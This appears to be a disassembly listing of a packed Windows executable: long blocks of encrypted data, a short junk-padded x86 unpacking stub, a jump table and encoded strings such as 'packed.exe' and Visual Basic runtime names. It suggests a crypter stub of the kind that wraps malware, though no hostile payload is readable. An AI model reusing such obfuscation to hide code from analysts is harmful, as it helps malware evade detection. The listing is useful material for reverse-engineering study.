		dd 0AE3235D5h, 414E31FBh, 0F64911A9h, 0CB4505A5h, 57348479h
		dd 0AD1D918Dh, 8699DC4Bh, 0B653510Ah, 0B653161Eh, 0E43161Eh
		dd 5A4F2CCDh, 0AC500ABEh, 50DC11A0h, 0E542DE01h, 22568F1Bh
		dd 520D1EFFh, 0ACF9C9AEh, 0D9BA66F2h, 0FAAFCE11h, 0C583BF43h
		dd 536B69A0h, 1CC2795h,	19D50000h, 7C59669h, 15B3E067h
		dd 0F0ADFE71h, 0E598C94Ch, 0D236DA5Dh, 0B3B23EF1h, 8A8D49EEh
		dd 878642D9h, 939236D2h, 2A213BDCh, 6D3664CAh, 0C679CDB6h
		dd 92485D3Ah, 359D924Eh, 87DA414Eh, 0A8BD3442h,	75EEC20Dh
		dd 0BA5E0322h, 0A6F21F1Eh, 0EA7617A5h, 4BAD2EDCh, 0B643E429h
		dd 697A0EC8h, 65B9C0Eh,	0F5B28061h, 6544DD9h, 247AF163h
		dd 78BD4C32h, 1E48112h,	87D6B321h, 970477E9h, 54F04C31h
		dd 5242F935h, 0B74D4316h, 88000000h, 219961BAh,	2B7AABD5h
		dd 39E1795Eh, 3FC37A2Fh, 320ABF31h, 20B8414Eh, 14B4E578h
		dd 0EFF9441h, 0BEF35844h, 995247B6h, 17461B15h,	0BB50601Dh
		dd 0DA0FCB6Eh, 0CF929A3Eh, 0F965FF98h, 344BAD62h, 0EB3A08E1h
		dd 3726AB47h, 0A93B3A6Dh, 0DD07E4B4h, 568FE98Dh, 33640558h
		dd 8242E47Ch, 0FC29CE41h, 0E0B1BF3Fh, 1B16CBDh,	693FB135h
		dd 2F8D5B6Bh, 0CAh, 946B17D7h, 0E67905C7h, 0FC7313B5h
		dd 0CF4EEEAFh, 0D85FE39Ah, 38F7D434h, 43E4B588h, 3CDF8C83h
		dd 30C8999Ch, 31D69568h, 64C9242Bh, 0D3B05336h,	5D3AC679h
		dd 2082A26Dh, 77A6C517h, 4307A3F0h, 6CCD27CCh, 4E357FF4h
		dd 3265B841h, 878149E1h, 0E5A54556h, 1C961B2h, 9B99E90Eh
		dd 0DE5E1C89h, 471CF0A8h, 515F1C10h, 6E42A0B8h,	6B834BA6h
		dd 0C5D54CDBh, 373172DBh, 3332D672h, 690ECA6Eh,	0A8FD9D3Ch
		dd 0BEC34DF5h, 356FC16Fh, 0C51C8F18h, 0CF6B0427h, 0C367340Bh
		dd 0A3580907h, 0F8580D1Bh, 4602A6D1h, 1318C0A1h, 449D1F25h
		dd 0FAAFCE11h, 4BB2BA5Eh, 0C81FBB5Eh, 0D88h, 14CCAD00h
		dd 9D1F251Fh, 39D20558h, 0C579AE9Bh, 0DA7E333Dh, 0D873363Eh
		dd 0D4753430h, 0BA753430h, 0B46B3E36h, 0AC61000Ch, 0C3650400h
		dd 0A6640503h
		db 6, 0Eh, 0C2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	61A6h
		mov	[esp], edi
		push	6EB6h
		mov	[esp], esi
		push	eax
		push	2BB91AADh
		pop	eax
		inc	eax
		shr	eax, 4
		and	eax, 43F14AA9h
		xor	eax, 858607Bh
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		push	ecx
		mov	ecx, 46245843h
		sub	[esp+4], ecx
		pop	ecx
		pop	dword ptr [esi+8]
		add	dword ptr [esi+8], 46245843h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		dw 73FDh
		dd 9C5ECE1Dh, 0E96E9DB8h, 0FFC5030Ah, 98D33AE0h, 518B2C79h
		dd 0F86A572Fh, 0C1D10F74h, 409B9D42h, 0D433C35Fh, 0A79E3C3Dh
		dd 70A9C41Ch, 0E38F8A45h, 2E8D8D3Fh, 6A0AE970h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 8907C355h, 22A1BD8Bh, 8D890AE3h, 0AE31479h, 25CD8D31h
		dd 85C70AE3h, 0AE306C9h, 5A0Ch,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0ACC35646h,	2D50EA48h, 95145223h
		dd 6985C7F8h, 0AE300h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 57DAC353h
		dd 860FDB9Dh, 5, 0D5DE8166h, 61B5FFC1h,	0F80AE311h, 26B595FFh
		dd 6A0AE3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 80DD4BC3h, 7E87E48h, 0CF000000h, 2B9936B4h
		dd 0D48AE23Dh, 0FF006A5Eh, 0E31CD195h, 0EBC08B0Ah, 509CA21Dh
		dd 0D17B7C0Fh, 0DDAC07ACh, 618B024Bh, 0A0F77568h, 760E8BD1h
		dd 0A056996Bh, 0DE8C6C6h, 59000000h, 0CD304FACh, 0E83BFD01h
		dd 0E5ED986Eh, 59DA8B66h, 0B0C181F5h, 8900005Ah, 0E32F6985h
		dd 1675680Ah, 0D88B0000h, 69850158h, 8B0AE311h,	0DBD0139h
		dd 810AE331h, 436704C7h, 68D0F0Fh, 89000000h, 0E329B585h
		dd 0FBF7810Ah, 89218C3Eh, 0E30A9D8Dh, 4FEF810Ah, 60258F05h
		dd 8F0F60h, 89000000h, 0E328FD9Dh, 61F9610Ah, 0C850F57h
		dd 0F000000h, 681h, 89B58B00h, 8F0AE32Fh, 0E983F801h, 359D8901h
		dd 490AE310h, 9D334949h, 0AE31681h, 1E881h, 850F0000h
		dd 34h,	13E8h, 0CC76F00h, 4D2748DFh, 0CFDD88EDh, 3DE61E9h
		dd 9A33AB29h, 665BD09h,	0E95B0AE3h, 1Fh, 7C47BD64h, 5D177273h
		dd 72E3B0A3h, 0D8B81727h, 0E9DBB70Fh, 0FFFFFF53h, 9537D659h
		dd 0E84A6968h, 11h, 843171FCh, 1F1774D6h, 0A2BFFA27h, 482383B9h
		dd 0A195338Bh, 580AE303h, 13859D29h, 0C0810AE3h, 620Ch
		dd 0BBF78B66h, 5850421Eh, 0D633C381h, 8E9A7AFh,	0DF000000h
		dd 0A1D326B9h, 8BE7D689h, 0E981F508h, 6FEB604Ch, 61606060h
		dd 0D3F0B966h, 61F78B61h, 9508C181h, 958B4625h,	0AE31B0Dh
		dd 4213C181h, 95896021h, 0AE320B9h, 0C1B52951h,	8F0AE326h
		dd 5E900h, 0AAE50000h, 831C96D4h, 952B04E8h, 0AE32901h
		dd 1EB81h, 850F0000h, 19h, 8CD28166h, 2EE91Eh, 70210000h
		dd 0D677D216h, 2B078195h, 2890C753h, 0F58589A3h, 0E90AE31Ch
		dd 0FFFFFF87h, 9F70A090h, 0FEB5D6D7h, 0FDC5E9FBh, 97CD9657h
		dd 79EAA3CFh, 165E9h, 9B75EC00h, 8360DD73h, 5C3A437Ch
		dd 6E755F6Dh, 6B636170h, 70007265h, 656B6361h, 78652E64h
		dd 65h,	3Ah dup(0)
		dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
		dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
		dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
		dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
		dd 2 dup(0)
		dd 0C1E90000h, 6800001Dh, 0AE9758Bh, 0FA0C38E9h, 76E568FFh
		dd 2EE90AE9h, 68FFFA0Ch, 0AE977DEh, 0FA0C24E9h,	787068FFh
		dd 1AE90AE9h, 68FFFA0Ch, 0AE978AFh, 0FA0C10E9h,	79CD68FFh
		dd 6E90AE9h, 68FFFA0Ch,	0AE97A2Ah, 0FA0BFCE9h, 7A8968FFh
		dd 0F2E90AE9h, 68FFFA0Bh, 0AE9824Dh, 0FA0BE8E9h, 82D168FFh
		dd 0DEE90AE9h, 68FFFA0Bh, 0AE9839Ah, 0FA0BD4E9h, 847368FFh
		dd 0CAE90AE9h, 68FFFA0Bh, 0AE984DDh, 0FA0BC0E9h, 85C368FFh
		dd 0B6E90AE9h, 68FFFA0Bh, 0AE9866Dh, 0FA0BACE9h, 871A68FFh
		dd 0A2E90AE9h, 68FFFA0Bh, 0AE98E1Bh, 0FA0B98E9h, 8F1E68FFh
		dd 8EE90AE9h, 68FFFA0Bh, 0AE98FD0h, 0FA0B84E9h,	964F7AFFh
		dd 1ED9E124h, 0E22569ACh, 67A0D528h, 0ED2E5EB3h, 8400F23Dh
		dd 0E4337F0h, 89CCBE7Fh, 7E5307C0h, 2AD9914Ah, 36D2FBA0h
		dd 0CEAB3BF6h, 0C80349B8h, 0A3EB8E42h, 109C2F2h, 0B8E3473Ah
		dd 46DFAB8Fh, 7E5BB566h, 34A9914Ah, 7AC14986h, 0D3B6AA1Eh
		dd 14D3FBAAh, 0C85205F6h, 0BCF0943h, 1A6E3D3Dh,	753CFCC8h
		dd 0EA178486h, 603BFC85h, 1F7273FFh, 5EADAD6Ah,	0F124C172h
		dd 4D2C4D95h, 58000000h, 5E87D4A8h, 3746DFABh, 0ACE0844h
		dd 26BA3E3Ch, 0DFAB4C75h, 1E7A2146h, 0FC945D0Dh, 0EF4B303Ch
		dd 0F31ABE9Ch, 83379AEEh, 93479144h, 0FC7ADB08h, 42EC113Bh
		dd 95E0D966h, 0FFD34Dh,	72170000h, 84ADFE42h, 593BFC6Fh
		dd 9195FFB2h, 42C80349h, 4408596Fh, 574AD083h, 0DFAD6A25h
		dd 6BB6B6C4h, 0BB5F982Eh, 187D9D50h, 6FC3B770h,	1D97C0EBh
		dd 0BD6E46DFh, 18DF5053h, 0F58746DFh, 7F0D403Ah, 0CCC8684h
		dd 2A5D303Ah, 0B6E269F1h, 34B2EA2h, 94F546C4h, 0BBEC28E1h
		dd 3CFC3723h, 0C601B72Ah, 8D9DF744h, 43082C9Eh,	94758322h
		dd 829CB4Ah, 0ADAB89FCh, 88408AC6h, 7EFBCBEh, 5E3217C9h
		dd 0A4E88DADh, 2252B763h, 0C377BFE9h, 8AAE09E5h, 1B0ED4h
		dd 7EB7C200h, 0C601498Ch, 4A8D3114h, 0CF08BD90h, 5596261Bh
		dd 6C588AE5h, 0D62B9F58h, 51B466A7h, 0C63BEF28h, 828179B2h
		dd 367AA3C8h, 0A6533BF6h, 8035A860h, 1C78C347h,	4FD08B3Dh
		dd 1D4615A8h, 0F046DF2Dh, 20A2D80Bh, 0F99AC3E8h, 887346DEh
		dd 1D4615D5h, 0F046DEF9h, 0E992580Bh, 935E1643h, 0CEBA96F0h
		dd 5406C18Bh, 0A4A2A644h, 30590286h, 546DFABh, 5E87D416h
		dd 3746DFABh, 4CC00844h, 0AB7AA3C8h, 0A85346DFh, 0B5764275h
		dd 0ACE83EB1h, 0FBFECB7Bh, 51F9A23Ch, 0FC1C1D4Ah, 0A2533Bh
		dd 955F9F28h, 0BFCEA34Dh, 0F1F0127Eh, 9C000000h, 42C80349h
		dd 5C9E596Fh, 0AB6A93D8h, 0D84346DFh, 0AFE28B2Fh, 65AF62E5h
		dd 0CEBD31B5h, 31908059h, 297C14h, 0D546DF32h, 48B9EA26h
		dd 1C46DF2Eh, 0C4B7B36Ch, 0A80BA6D6h, 0EA9EFBFAh, 0F6222931h
		dd 0C48D3F12h, 0B88275B2h, 0D07AB5C5h, 40982DEBh, 0EC15C0Ch
		dd 3F5216C2h, 0F8024E89h, 77240600h, 3CFC48DFh,	0DF15C5B6h
		dd 5E0D2D1Bh, 3217FCE5h, 7217D3B8h, 306F1F42h, 0DB4902A4h
		dd 27239692h, 9A5C2754h, 8A7D7AC4h, 0CC9F13D7h,	46D959A3h
		dd 58D801AAh, 0FEAD46D9h, 3595FFACh, 316BACD0h,	9E5BBEBh
		dd 0B46C0226h, 0AC000019h, 1376241Dh, 9BFEAC6Bh, 77A30F7h
		dd 80C5B572h, 204F3BFCh, 458636B2h, 0CC0DB095h,	55923B1Eh
		dd 0DF18A0E5h, 4912D86Bh, 3BF63520h, 490208F5h,	3316C407h
		dd 9FEC4E89h, 0AF743839h, 963962ADh, 7F8F7B55h,	2D5E0349h
		dd 0C1EA6EECh, 46DFAB98h, 18CBBE6Dh, 0D20DBFD2h, 4D7F5286h
		dd 9FBB7404h, 2301F9ACh, 52192127h, 3CFCC4AEh, 0B90BA61h
		dd 3BFC81DEh, 12BBDE1Ch, 6FFBE2D5h, 55D51C36h, 4860C27Bh
		dd 4D957FBFh, 0ACB5h, 599CE100h, 0CB6FD991h, 0FC8FE4A0h
		dd 6CD0BB3Ch, 632A5C3Bh, 0C388ED70h, 7629EE90h,	2E18D01Ah
		dd 29FF7F0Ch, 7E2B6832h, 66AA042Dh, 7F32D968h, 7A96C515h
		dd 555E83BDh, 0D8E184A6h, 0CB10FB1Fh, 76C54582h, 7474FE1Ah
		dd 4503A892h, 44686011h, 0CAFE9357h, 937A5C91h,	0E154CFE1h
		dd 6BA4D429h, 5C0E5931h, 9A3CD0E8h, 18BBh, 7F2BE497h, 0C7B36C1Ah
		dd 4337F082h, 0CEBC7D0Eh, 4802C58Bh, 8F31AB5Fh,	14BB9E4Ch
		dd 952267D3h, 0E1ABEE5Ch, 1BDF7426h, 0F6342750h, 0B03FE3Bh
		dd 42C80349h, 0FC7EC880h, 0FCC50BAFh, 61D9C23Ch, 91599C19h
		dd 0A0CB6FD9h, 3CFC8FE4h, 0F73046BBh, 3335E853h, 0D555A560h
		dd 202622BCh, 9552671Ah, 8E4A8675h, 0EA25570Ah,	6EB19B60h
		dd 0AF30D852h, 76FC1E0Dh, 5569472h, 0B5D17647h,	0F0955546h
		dd 665B0FC8h, 0E1AF9952h, 7897ADCDh, 182922C4h,	92390000h
		dd 1EACE159h, 62146921h, 0EF90F5A5h, 6B1D702Ah,	3DADFAB0h
		dd 0FA3D43h, 8941BACDh,	10CA07B4h, 0E6548F3Dh, 95BEED6Dh
		dd 683BF633h, 3497D8Dh,	69B09CC8h, 8DA109DFh, 17EAEBh
		dd 1AD3E600h, 0E25D6DA0h, 66A1D528h, 0EB2C51B4h, 71AADA3Fh
		dd 7C6EB9h, 8ACFBB7Ch, 754802FBh, 0FADF8B44h, 0AEA515CEh
		dd 33567F2Ch, 722F3BF6h, 0C8034934h, 416AEE62h,	46DFAB18h
		dd 0C2EB3EEDh, 9B46DFAAh, 0FE74A4F0h, 7307BFAh,	0DE46DFABh
		dd 7951B6ADh, 4D005D41h, 58DC509Ah, 0DF34EA13h,	0F3D8C346h
		dd 0DBCC08CFh, 3CFC5357h, 65954536h, 0C5F29761h, 7D30E99Ah
		dd 3711C913h, 3BAC6833h, 38E33219h, 0C4EDBE32h,	0BE46DF62h
		dd 2A7D4AB4h, 9E8D9D5Bh, 0A438A0B2h, 0DF39CEF7h, 98F4A746h
		dd 37C22887h, 0AFDCB1B3h, 1CDC2672h, 48D20FBCh,	39F286C3h
		dd 0F3772A11h, 0ACAC0C7Fh, 35517A41h, 7D3D6635h, 6B10AA37h
		dd 8FE2FE21h, 0CEBDA054h, 24751F6Ch, 0DCA661B8h, 0CE8A58F0h
		dd 0EBA9F278h, 72A6AF11h, 9639681Fh, 72B6E255h,	0BCCCA189h
		dd 0DF539743h, 3229638Ch, 98C1EAAAh, 6DAA3229h,	55BF6CBEh
		dd 3C1B5464h, 0D0BB6FF0h, 0AB641576h, 0BFE95CAFh, 0A68D22C5h
		dd 0CC26D87Ch, 84000016h, 0B4E3CF5h, 0F3D68443h, 7F5208CFh
		dd 0F8DD8D4Ah, 48A713D4h, 5D9E2E9Ah, 24E5A8EDh,	0AD6A1376h
		dd 37F098FDh, 610AC043h, 3BF63238h, 7F1A100Dh, 46DFAB56h
		dd 0DF9AFB28h, 8AA8D546h, 558246DFh, 0F846DFABh, 0AB0E3764h
		dd 34E746DFh, 10CBF1D8h, 0DF694CD4h, 9F31D509h,	166Fh
		dd 2B9F5863h, 0B367A0D6h, 3FEB2C5Eh, 0BA70A9DAh, 4F63147h
		dd 0FB8DF7EBh, 40774A00h, 0C9FED387h, 55675A10h, 5723209Ah
		dd 0F630DB04h, 0C7C7B23Bh, 88D3A2A6h, 46DFAB5Fh, 0AB8CB5E6h
		dd 0BA6146DFh, 0ECBFBB60h, 46DFAAC3h, 3C3EF19Ah, 0FC8FE36Fh
		dd 97D1BA3Ch, 14C28581h, 10C26498h, 0C0000016h,	0B78A40B9h
		dd 3F12C807h, 0BB9E4C8Bh, 2419D116h, 84E35790h,	0E15A6A56h
		dd 68A1D429h, 0F12E5FB2h, 7BB4C439h, 0A5F6848Fh, 3BF6317Ch
		dd 4966A451h, 0EB2C5E03h, 21299C6Fh, 0DC433C4Ch, 6E370F65h
		dd 45355E0Dh, 630846DFh, 0E6216BB0h, 9BC41733h,	0B274F1D7h
		dd 177C4776h, 28000000h, 0DFAB527Fh, 0B56E1A46h, 2874B6C5h
		dd 9EBC4685h, 159EF8h, 349AC00h, 3EF12A5Eh, 0B492561Ch
		dd 0D0D4C5B6h, 661A430Bh, 0C17D2E2Ah, 0DC3CFC86h, 0F1E97B2Fh
		dd 0B488D317h, 0DB321993h, 66D912A6h, 780D60E4h, 526455BFh
		dd 0AB265595h, 0E522681Eh, 0F4162B2h, 0A3645C5h, 0D446DF2Dh
		dd 5CB169A6h, 9569F12Eh, 0C10ACFF0h, 39107CBFh,	10945691h
		dd 0DF2D224Bh, 0CB10FB46h, 0E1094384h, 9575F916h, 0DB702AE5h
		dd 4776AE22h
		dd 2F226h, 0A2A65600h, 0D9E386A4h, 7526321Eh, 3CFCCC31h
		dd 378BAF5Ch, 0A0630D44h, 0A7FA22B7h, 3BFC837Eh, 0C068A457h
		dd 0E2447F0Ch, 64C84987h, 7EB9C128h, 4601498Ch,	8B0A573h
		dd 8DC04BCFh, 0A4175450h, 1DDAE386h, 16C20EFDh,	0FC5E5885h
		dd 0BA77043Bh, 508B3D90h, 975BC2CAh, 4AE87E1h, 0AF1BD4E2h
		dd 0E743C585h, 1991ACB4h, 0B2584332h, 0F5325B3Eh, 8F487055h
		dd 0F799F0DCh, 8FE24634h, 0E7D23EF9h, 50D416D1h, 0DFA8E20Bh
		dd 84D0BB46h, 0CCFD9054h, 0B7E63913h, 9846DFA8h, 0DFE101ADh
		dd 14BBDE1Ch, 88C437D3h, 0D0363230h, 9175416Ah,	0A5D83CFCh
		dd 0AAFEDA15h, 720479C1h, 0BE5C9B23h, 0B709A4Dh, 0E9F2503Fh
		dd 0FBD58880h, 954E7A5Fh, 1FD8E025h, 0E187B0FBh, 0E5503BFBh
		dd 28E3A979h, 0F29BFE72h, 0EA261535h, 0E696FF8Fh, 19CC0BB3h
		dd 93570AF1h, 0E1234C1Fh, 87FA3BFBh, 251634F3h,	9FF22672h
		dd 0B60A30EFh, 0FBE0BCE5h, 0AEEA913Bh, 0DF67178Ah, 0FBE1638Ch
		dd 9E513A3Bh, 0B770197Ch, 0B0322B93h, 7AE419C8h, 7525E2A8h
		dd 951A29D6h, 0FF234Dh,	49530000h, 8246C407h, 0C48BDAEFh
		dd 41340703h, 332672D9h, 0A19ECA8Dh, 1D682AD3h,	0BE57A0AAh
		dd 69A2D234h, 211EACC1h, 0BADF13F7h, 8CAB510Ah,	0BFA7EAC6h
		dd 93FD4ECCh, 76A9C760h, 0BFCD47h, 0A8B90000h, 723FBF23h
		dd 9DF77F3Ah, 37D30CBCh, 537B2652h, 568FB8E3h, 0B56646DFh
		dd 506558C2h, 0E9712497h, 307C0F4h, 3A2019AEh, 0E707AB52h
		dd 0F8A71AD5h, 0B671077Ah, 0D06DA794h, 85CCFC0Eh, 0BD103AF5h
		dd 0AB1ED10Ah, 81A35CFFh, 6EA94776h, 0D5000000h, 468135A8h
		dd 0AB8EB7E4h, 0B46746DFh, 6CDA9E58h, 0A5F64ACEh, 46DFAB7Ch
		dd 2E57AA51h, 2046DFABh, 0C234BEEh, 0F60B1F1Dh,	785407C0h
		dd 60DFABF0h, 0CDBE3CFCh, 99C2E96Dh, 6C3BFC80h,	0F6A555BFh
		dd 3BFC7FC9h, 2E2CE795h, 0E6B5054Bh, 3BFC7FBDh,	1238EB90h
		dd 0EF09D580h, 0AD8A5C67h, 5A11C47Fh, 962F39A5h, 9A4D9581h
		dd 0C3h, 32A2A60Ah, 79C24881h, 0BEC1A486h, 9AEEDD7Dh, 0C5E38F91h
		dd 79F1DB8Eh, 0FBC97232h, 0D8E0253Ch, 0CBAEAC1Fh, 6CA5D283h
		dd 0D4C11D39h, 17CA7E57h, 9F586EA3h, 0B770067Bh, 4C8D3E93h
		dd 65A2EBCEh, 79E51AE5h, 3AF403Fh, 406BDBE3h, 3BFC5417h
		dd 24E3ABEEh, 4FCCBE71h, 4D9587B6h, 5CBAh, 9B4D3E00h, 7A5BCEE7h
		dd 0A6E2C20Eh, 0D299A1A9h, 0CFE16F09h, 406BEF9Ch, 0C6DFAD13h
		dd 0D773B4DBh, 0D0DC6F2h, 55238F84h, 407FE358h,	0ECBFBB8Fh
		dd 4FE17023h, 488737AAh, 0BB6F1C0Ch, 0FAB3C2A7h, 5A2829E9h
		dd 0E664D763h, 1139FE83h, 0A8F3772Ah, 46DF397Fh, 0CD6BA556h
		dd 7, 6C8AD9h, 49220000h, 6558C205h, 2B509A55h,	63CD5E9h
		dd 0AF16CBE8h, 0C44D4D59h, 0E43C711h, 0A4672978h, 62BA0F71h
		dd 4437597Ah, 43F395E6h, 3B82D526h, 0DF614770h,	0BA6D1E46h
		dd 3328BA5Eh, 0A66833D7h, 0DC4FE124h, 0F2D773ACh, 300F0BC4h
		dd 952531Fh, 46DFF5E0h,	0A413C6B5h, 941137BBh, 9CB88965h
		dd 0C0Dh, 94DCAFDCh, 44A1A9CFh,	0A5A61408h, 0B0F6A5A5h
		dd 0EEBE34B6h, 84F961DAh, 0BD103AF7h, 4C85CE09h, 3E2796E2h
		dd 0E0EB94B4h, 0A4D7CEDDh, 0B0EC2639h, 0E91B75F0h, 31h
		dd 0A5A5A695h, 1BDCE085h, 49723931h, 1C46DFABh,	35C0EB6Fh
		dd 6F9D6D61h, 0A35C6CF6h, 9FEE051Dh, 0C593CCFAh, 0A598F8CCh
		dd 94B6E255h, 25Fh, 0A5A5A600h,	315A0185h, 446DFABh, 0CAE93D17h
		dd 0C80349E2h, 0A12AAEB6h, 0AE81A20Eh, 8443772Bh, 8FA787D1h
		dd 4476DCE6h, 7E6CAFDCh, 173FCEBFh, 98F4A760h, 3D66h, 0A5A61600h
		dd 3A851A5h, 46DFAAD7h,	1665C5B6h, 0DBFFECCAh, 6ABA9613h
		dd 4B8435A8h, 0D8107CCFh, 0C2054990h, 8A2686ACh, 38h, 24E785F6h
		dd 329C0C3Ah, 0DF754069h, 0B3661546h, 0A5A64559h, 3A851A5h
		dd 46DFAAD7h, 0A8D6289Bh, 0C2054900h, 3F961378h, 67EA5189h
		dd 0DEC20B34h, 4639E246h, 26861A0Ah, 61E82F7Fh,	864177A9h
		dd 10CBF1D4h, 64276948h, 26751D6Fh, 0A16138FDh,	8AF82BD0h
		dd 3494473Eh, 0E466A1D5h, 1E3CFF81h, 0D6A20C21h, 19E975ECh
		dd 34B4B873h, 0A4F02B51h, 6ECC07B5h, 5093591Dh,	0C7F6BD4Dh
		dd 93795306h, 162F106Bh, 550EBA4Ch, 15AAE777h, 97590CB4h
		dd 4F0DC6F2h, 15415A6Ah, 0E8A16192h, 0C47D4503h, 7C0881Ah
		dd 80304425h, 6191B2DBh, 0D10ABAA1h, 0C3A8C249h, 0C420A10h
		dd 0B4561805h, 3E13C700h, 778B518Ah, 0A1A96212h, 0A2CB905Ah
		dd 7BA16192h, 23554490h, 61921C48h, 4008F3A1h, 7D9D5E61h
		dd 95B57218h, 0FDBB271Ch, 2BDC86BFh, 0C27ECFA0h, 408CD4C5h
		dd 4C7E2369h, 0C9BC8F8Bh, 0BD760267h, 4BCD2FDFh, 0EA9E70F2h
		dd 31D916A7h, 5FD317CAh, 60FCE30Ch, 87D1BAA1h, 0AB641475h
		dd 46086DEDh, 0FD7CA5F6h, 0AA51A160h, 8BC9DF7h,	103109CFh
		dd 450CBC4Eh, 0E853F730h, 49633335h, 0C3ECBF03h, 9A46DFAAh
		dd 0AAACD586h, 9A8146DFh, 0CA227427h, 8335A8E2h, 0DC20C48h
		dd 0FEAEF105h, 76DCE68Fh, 3FEA44h, 0A69A0000h, 0A84DA1A9h
		dd 62D78F23h, 0D90C6D85h, 8559E5Ah, 5D53FC6h, 0DEAE2A56h
		dd 160546h, 0D2A7D4A8h,	3A03CD7Fh, 49BAEA26h, 86B0C601h
		dd 4D8A26h, 72F60000h, 0DFAB0029h, 0EA26D546h, 0A1A9A6BAh
		dd 8435A84Dh, 107CCF4Bh, 0AB6793D8h, 0CF6B46DFh, 0DFAB739Ch
		dd 99A14A46h, 0DFABA9D2h, 0DC8F7C46h, 93547B1Eh, 54488477h
		dd 0DB1D4A8h, 0A8FB40CAh, 46DFAB7Fh, 0EF6BA556h, 0C60149BFh
		dd 7F2686B0h, 46DF9C69h, 9A628BD0h, 503B46DFh, 0FD447F9Dh
		dd 7F2FFFFFh, 46DFAB52h, 5812F8F5h, 74965165h, 0DFAAFE27h
		dd 0F17DCA46h, 0F0AA6D11h, 0A9480F7Ch, 4AC6D7E3h, 24632B0Eh
		dd 83C13F2Ch, 47A8CE60h, 0EBEB0E41h, 0D51FCBBEh, 4734361Ch
		dd 0CBEE875h, 2A2B98CBh, 0EE1744E6h, 0C746DF7Fh, 4B50F8D4h
		dd 489AEDBh, 9CAAD111h,	6DA515EEh, 4E893F1Ch, 4167CB02h
		dd 52097A4h, 1F1ACh, 537FD800h,	0F446DFABh, 3BF484F4h
		dd 34EAC1Fh, 652E32A3h,	307BFFB2h, 3CFC20F0h, 0C306F4A7h
		dd 0FFD278BFh, 0A2790CFh, 0A9E788CAh, 497154F6h, 83C88C8Eh
		dd 27EA9637h, 549EFAF8h, 0D588B294h, 2E2A66A1h,	18C4057Dh
		dd 89F39832h, 9E0311Dh,	4C4EE004h, 400000Eh, 8BCEBC75h
		dd 735604C3h, 0FFD2884Fh, 785D0DCAh, 0C8279354h, 0DD1EAE1Ah
		dd 0A465286Dh, 2DEA93F6h, 0B770187Dh, 0E18A40C3h, 3BF628B8h
		dd 499A908Dh, 8E42C803h, 0E664A3EBh, 39313B15h,	26606BCFh
		dd 0C7756B83h, 69DC1DAEh, 0D802B2Fh, 643CF62Eh,	0E95C9F21h
		dd 5D9A2C41h, 21E6A8EDh, 0BDC0A539h, 9339107Ch,	3830B258h
		dd 0F33458h, 0D6D713Ah,	0ED203213h, 71AB1ED9h, 9EA075Bh
		dd 0C81CB256h, 9800000Dh, 0F4238F1h, 0F7CA807Fh, 735604C3h
		dd 0FCD1894Eh, 4C5B0FC8h, 5992229Eh, 2019ACE1h,	0A966176Ah
		dd 33EC9CF1h, 5D0ECC47h, 3BF62934h, 491E6C09h, 8042C803h
		dd 66A3E8C8h, 4833B7B3h, 4CD3369Eh, 9295FF9Ch, 3CFC23AEh
		dd 0F51E4DE1h, 0EF3BFC46h, 36AF657Ch, 7A2179AFh, 9B1FD387h
		dd 0FC07A7D0h, 438D7E3Bh, 31E92256h, 69D13733h,	1355DE42h
		dd 285CB132h, 0BA3E3CEFh, 0D4D3C8F1h, 0A2EE9D46h, 42A9D256h
		dd 0B41D5DD5h, 0C0F3863h, 35E646D5h, 2E780F42h,	4D031AB3h
		dd 0A3641603h
		dd 0B1E092F7h, 0FE1CCF08h, 1436F19Bh, 8EAC9A5Eh, 0F2ABD9DDh
		dd 2817643Ch, 638632Bh,	9279A1EBh, 0C9472256h, 61073B14h
		dd 0CFFh, 0BB6FA8D3h, 3F73046h,	8F7BBCCEh, 0AC0394Ah, 94468137h
		dd 4B7D679Bh, 0D0E7DA90h, 596EA317h, 0A5D72AE0h, 0C793B06Ah
		dd 0F6286B94h, 5757423Bh, 42C80349h, 60A7EB8Eh,	0D82E2A34h
		dd 98114912h, 97843CFCh, 1FD8EE23h, 0E32456ABh,	0A2A6E737h
		dd 8E0286A4h, 0F7D0B0FDh, 2E41718Eh, 46DF5805h,	0C6D933D8h
		dd 3CFC5496h, 0D28A1279h, 82EEEFA7h, 0F33459h, 9E23461Ah
		dd 0B6E16659h, 0E8C5338h, 48B4E1C2h, 352A3BFCh,	0B0C5B8A9h
		dd 2C68D377h, 95B2720Bh, 9F2D404Dh, 84D668A4h, 0C6000000h
		dd 44C60149h, 7C9E5961h, 90257419h, 0AB527B20h,	402B46DFh
		dd 0CBBE8D8Dh, 0E35C6A4Fh, 0CB3D3D37h, 0A41C3C6Fh, 4E233CFCh
		dd 9692FE3Fh, 7205BBE5h, 183C14C2h, 0C2666h, 568F3A00h
		dd 0DE19A1E4h, 0A265296Ch, 27E095E8h, 0AD6E1E73h, 4440B2FDh
		dd 0CE03F730h, 498C7EBFh, 3E13C700h, 6A99518Ah,	2792BBE0h
		dd 8E6B3BF6h, 0B1D4A878h, 91BACD0Eh, 6446DFABh,	0E85B9C21h
		dd 0C23D4DACh, 51F608h,	49A60000h, 8E44C601h, 7AFE7CCAh
		dd 58B47307h, 0FC9CCF47h, 6B55463Ch, 14C27A53h,	0BC08AE42h
		dd 9400000Bh, 1B7E2CE5h, 83C6B473h, 0F4238FFh, 88CDBD7Ah
		dd 585703C4h, 4D8E3EAAh, 0D415B89Dh, 5D9A2366h,	27E0A8EDh
		dd 511AD073h, 3BF62728h, 490A00FDh, 0EF285E03h,	2D2DE06Bh
